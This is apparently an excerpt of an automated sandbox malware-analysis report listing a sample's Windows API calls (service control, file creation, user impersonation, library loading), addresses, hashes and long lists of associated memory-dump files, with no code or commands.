Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04FB1580

Memory Dump Source

Source File: 00000007.00000002.2475574547.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4fb0000_A1B0VWLBQG1NHHVW3B7EOUSWCWB.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: b01340f48fb7ccbfb48a893cf3b0550072f2469bc5a4c922997e1f408ed556de
Instruction ID: 4fd396ded662e248b2f2c300fb2c5420bbf07c87858b53eb5e1ceda3fd6a518f
Opcode Fuzzy Hash: b01340f48fb7ccbfb48a893cf3b0550072f2469bc5a4c922997e1f408ed556de
Instruction Fuzzy Hash: F211E2B1D002499FDB10CF9AC584BDEFBF4EB49324F10842AE959A7250D378AA45CFA5

Function 04FB1509 Relevance: 1.6, APIs: 1, Instructions: 52
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04FB1580

Memory Dump Source

Source File: 00000007.00000002.2475574547.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4fb0000_A1B0VWLBQG1NHHVW3B7EOUSWCWB.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: d5fd02227234782f9abb16d2aa7d813c18e0cdceb5f6d1ae20d87d2e525d083d
Instruction ID: 8b04ef7d12348f29d2c47735a47e8013ee0b5b29920a9225a1c8004522e23e2c
Opcode Fuzzy Hash: d5fd02227234782f9abb16d2aa7d813c18e0cdceb5f6d1ae20d87d2e525d083d
Instruction Fuzzy Hash: 952114B5D00249CFDB10CF9AC584BDEFBF4AB48314F10842AD559A7250D778A644CFA5

Function 00DD2384 Relevance: 1.6, APIs: 1, Instructions: 51
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,00DD22D7,00000003,00000000,00000003), ref: 00DD23B1

Memory Dump Source

Source File: 00000007.00000002.2471952944.0000000000DCC000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000007.00000002.2471706248.0000000000C50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471724007.0000000000C52000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471742696.0000000000C56000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471762212.0000000000C5A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471783408.0000000000C64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471801133.0000000000C65000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471819244.0000000000C66000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471911764.0000000000DB6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471931079.0000000000DB9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471952944.0000000000DD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471988413.0000000000DDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472004356.0000000000DDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472020112.0000000000DDE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472035960.0000000000DDF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472051765.0000000000DE0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472069381.0000000000DE3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472134700.0000000000DEB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472158872.0000000000DEC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472180727.0000000000DED000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472243853.0000000000DEE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472275228.0000000000DF1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472355250.0000000000DF2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472374776.0000000000DF3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472395618.0000000000DF4000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472430776.0000000000E0A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472459681.0000000000E0C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472484799.0000000000E0E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472516730.0000000000E20000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472547229.0000000000E2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472572466.0000000000E2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472597003.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472624979.0000000000E30000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472654311.0000000000E31000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472680908.0000000000E32000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472708297.0000000000E40000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472736714.0000000000E45000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472766135.0000000000E46000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472793283.0000000000E4B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472819406.0000000000E52000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472848688.0000000000E59000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472878591.0000000000E68000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472908281.0000000000E6C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472934975.0000000000E6D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472963673.0000000000E6F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472995751.0000000000E70000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473022210.0000000000E78000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473066304.0000000000E80000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473101121.0000000000E81000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473129240.0000000000E89000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473155394.0000000000E8B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473196001.0000000000E9C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473226065.0000000000E9E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473275605.0000000000EE5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473275605.0000000000EEC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473343849.0000000000EFC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473373403.0000000000EFE000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c50000_A1B0VWLBQG1NHHVW3B7EOUSWCWB.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ff997d611a85ed18f81950ac8989304932004a641924005fa19403207aac92aa
Instruction ID: 5b8fff197890aafaa192556b7d249de54644ad5526f39da4e9b6ca0772a60c24
Opcode Fuzzy Hash: ff997d611a85ed18f81950ac8989304932004a641924005fa19403207aac92aa
Instruction Fuzzy Hash: 0A01A2B620421E9FEB10DF249924BFE36A5EBA9720F20443BF802D2B41C3798C559A34

Function 04FB1301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04FB1367

Memory Dump Source

Source File: 00000007.00000002.2475574547.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4fb0000_A1B0VWLBQG1NHHVW3B7EOUSWCWB.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 00a2658fe76a1aca5549c3aa35ce2c44be44652067a7e44819d1b2fae29a31e2
Instruction ID: e3b7a25489407cfd49fbf308e922a5315b073c6de29a82c4b1fa2ec4fc702835
Opcode Fuzzy Hash: 00a2658fe76a1aca5549c3aa35ce2c44be44652067a7e44819d1b2fae29a31e2
Instruction Fuzzy Hash: D51136B1800249CFDB10CF9AD584BEEFBF4EF49324F14846AD558A7640D778A945CFA1

Function 04FB1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04FB1367

Memory Dump Source

Source File: 00000007.00000002.2475574547.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4fb0000_A1B0VWLBQG1NHHVW3B7EOUSWCWB.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 5a1083680d0b0842a1bc5f75a17b9c890a8519ea95439f52dad57eb5d1389f9c
Instruction ID: f55075b5772e0a46d15aaf0931c3f7cb0223180b2625123af61cb47b6277241f
Opcode Fuzzy Hash: 5a1083680d0b0842a1bc5f75a17b9c890a8519ea95439f52dad57eb5d1389f9c
Instruction Fuzzy Hash: C91122B18002498FDB10CF9AC944BEEBBF8EB49324F24842AD558A3240D778A944CBA5

Function 00DE09C4 Relevance: 1.5, APIs: 1, Instructions: 7
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00DE09C7

Memory Dump Source

Source File: 00000007.00000002.2472051765.0000000000DE0000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000007.00000002.2471706248.0000000000C50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471724007.0000000000C52000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471742696.0000000000C56000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471762212.0000000000C5A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471783408.0000000000C64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471801133.0000000000C65000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471819244.0000000000C66000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471911764.0000000000DB6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471931079.0000000000DB9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471952944.0000000000DCC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471952944.0000000000DD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471988413.0000000000DDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472004356.0000000000DDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472020112.0000000000DDE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472035960.0000000000DDF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472069381.0000000000DE3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472134700.0000000000DEB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472158872.0000000000DEC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472180727.0000000000DED000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472243853.0000000000DEE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472275228.0000000000DF1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472355250.0000000000DF2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472374776.0000000000DF3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472395618.0000000000DF4000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472430776.0000000000E0A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472459681.0000000000E0C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472484799.0000000000E0E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472516730.0000000000E20000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472547229.0000000000E2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472572466.0000000000E2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472597003.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472624979.0000000000E30000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472654311.0000000000E31000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472680908.0000000000E32000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472708297.0000000000E40000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472736714.0000000000E45000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472766135.0000000000E46000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472793283.0000000000E4B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472819406.0000000000E52000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472848688.0000000000E59000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472878591.0000000000E68000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472908281.0000000000E6C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472934975.0000000000E6D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472963673.0000000000E6F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472995751.0000000000E70000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473022210.0000000000E78000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473066304.0000000000E80000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473101121.0000000000E81000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473129240.0000000000E89000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473155394.0000000000E8B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473196001.0000000000E9C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473226065.0000000000E9E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473275605.0000000000EE5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473275605.0000000000EEC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473343849.0000000000EFC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473373403.0000000000EFE000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c50000_A1B0VWLBQG1NHHVW3B7EOUSWCWB.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 2b11c2d9bbaa233d436172bc0999dfa53cffb6237f5652e9724a60d6254a2262
Instruction ID: de9eadac571331fb5e3aedd870c17fd9b9f4addb3da73a79c6d9afdf4880419c
Opcode Fuzzy Hash: 2b11c2d9bbaa233d436172bc0999dfa53cffb6237f5652e9724a60d6254a2262
Instruction Fuzzy Hash: 43B0927411870E87C7503EE18C5D37A36AC9B00302F204815A7D381640E236C951DAAA

Function 00DF25D2 Relevance: 1.4, APIs: 1, Instructions: 125sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE ref: 00DF25D2

Memory Dump Source

Source File: 00000007.00000002.2472355250.0000000000DF2000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000007.00000002.2471706248.0000000000C50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471724007.0000000000C52000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471742696.0000000000C56000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471762212.0000000000C5A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471783408.0000000000C64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471801133.0000000000C65000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471819244.0000000000C66000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471911764.0000000000DB6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471931079.0000000000DB9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471952944.0000000000DCC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471952944.0000000000DD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471988413.0000000000DDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472004356.0000000000DDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472020112.0000000000DDE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472035960.0000000000DDF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472051765.0000000000DE0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472069381.0000000000DE3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472134700.0000000000DEB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472158872.0000000000DEC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472180727.0000000000DED000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472243853.0000000000DEE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472275228.0000000000DF1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472374776.0000000000DF3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472395618.0000000000DF4000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472430776.0000000000E0A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472459681.0000000000E0C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472484799.0000000000E0E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472516730.0000000000E20000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472547229.0000000000E2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472572466.0000000000E2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472597003.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472624979.0000000000E30000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472654311.0000000000E31000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472680908.0000000000E32000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472708297.0000000000E40000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472736714.0000000000E45000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472766135.0000000000E46000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472793283.0000000000E4B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472819406.0000000000E52000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472848688.0000000000E59000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472878591.0000000000E68000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472908281.0000000000E6C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472934975.0000000000E6D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472963673.0000000000E6F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472995751.0000000000E70000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473022210.0000000000E78000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473066304.0000000000E80000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473101121.0000000000E81000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473129240.0000000000E89000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473155394.0000000000E8B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473196001.0000000000E9C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473226065.0000000000E9E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473275605.0000000000EE5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473275605.0000000000EEC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473343849.0000000000EFC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473373403.0000000000EFE000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c50000_A1B0VWLBQG1NHHVW3B7EOUSWCWB.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 8e3f2d713ff9f572720c7cc000f466575b482c8fd450d72177c8be6fa66acbd8
Instruction ID: f479898acf2b4b32325e46e43406d7349fad76f8b1f7b791f344b5e5fb3d2d41
Opcode Fuzzy Hash: 8e3f2d713ff9f572720c7cc000f466575b482c8fd450d72177c8be6fa66acbd8
Instruction Fuzzy Hash: B13130B250D210AFE701AE59D981BBAF7E9EF88320F12C82DEBC5C2250D23548549677

Function 00DF406A Relevance: 1.4, APIs: 1, Instructions: 122COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 00DF406A

Memory Dump Source

Source File: 00000007.00000002.2472395618.0000000000DF4000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000007.00000002.2471706248.0000000000C50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471724007.0000000000C52000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471742696.0000000000C56000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471762212.0000000000C5A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471783408.0000000000C64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471801133.0000000000C65000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471819244.0000000000C66000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471911764.0000000000DB6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471931079.0000000000DB9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471952944.0000000000DCC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471952944.0000000000DD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471988413.0000000000DDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472004356.0000000000DDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472020112.0000000000DDE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472035960.0000000000DDF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472051765.0000000000DE0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472069381.0000000000DE3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472134700.0000000000DEB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472158872.0000000000DEC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472180727.0000000000DED000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472243853.0000000000DEE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472275228.0000000000DF1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472355250.0000000000DF2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472374776.0000000000DF3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472430776.0000000000E0A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472459681.0000000000E0C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472484799.0000000000E0E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472516730.0000000000E20000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472547229.0000000000E2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472572466.0000000000E2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472597003.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472624979.0000000000E30000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472654311.0000000000E31000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472680908.0000000000E32000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472708297.0000000000E40000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472736714.0000000000E45000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472766135.0000000000E46000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472793283.0000000000E4B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472819406.0000000000E52000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472848688.0000000000E59000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472878591.0000000000E68000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472908281.0000000000E6C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472934975.0000000000E6D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472963673.0000000000E6F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472995751.0000000000E70000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473022210.0000000000E78000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473066304.0000000000E80000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473101121.0000000000E81000.00000040.00000001.01000000.0000000B.sdmpDownload File
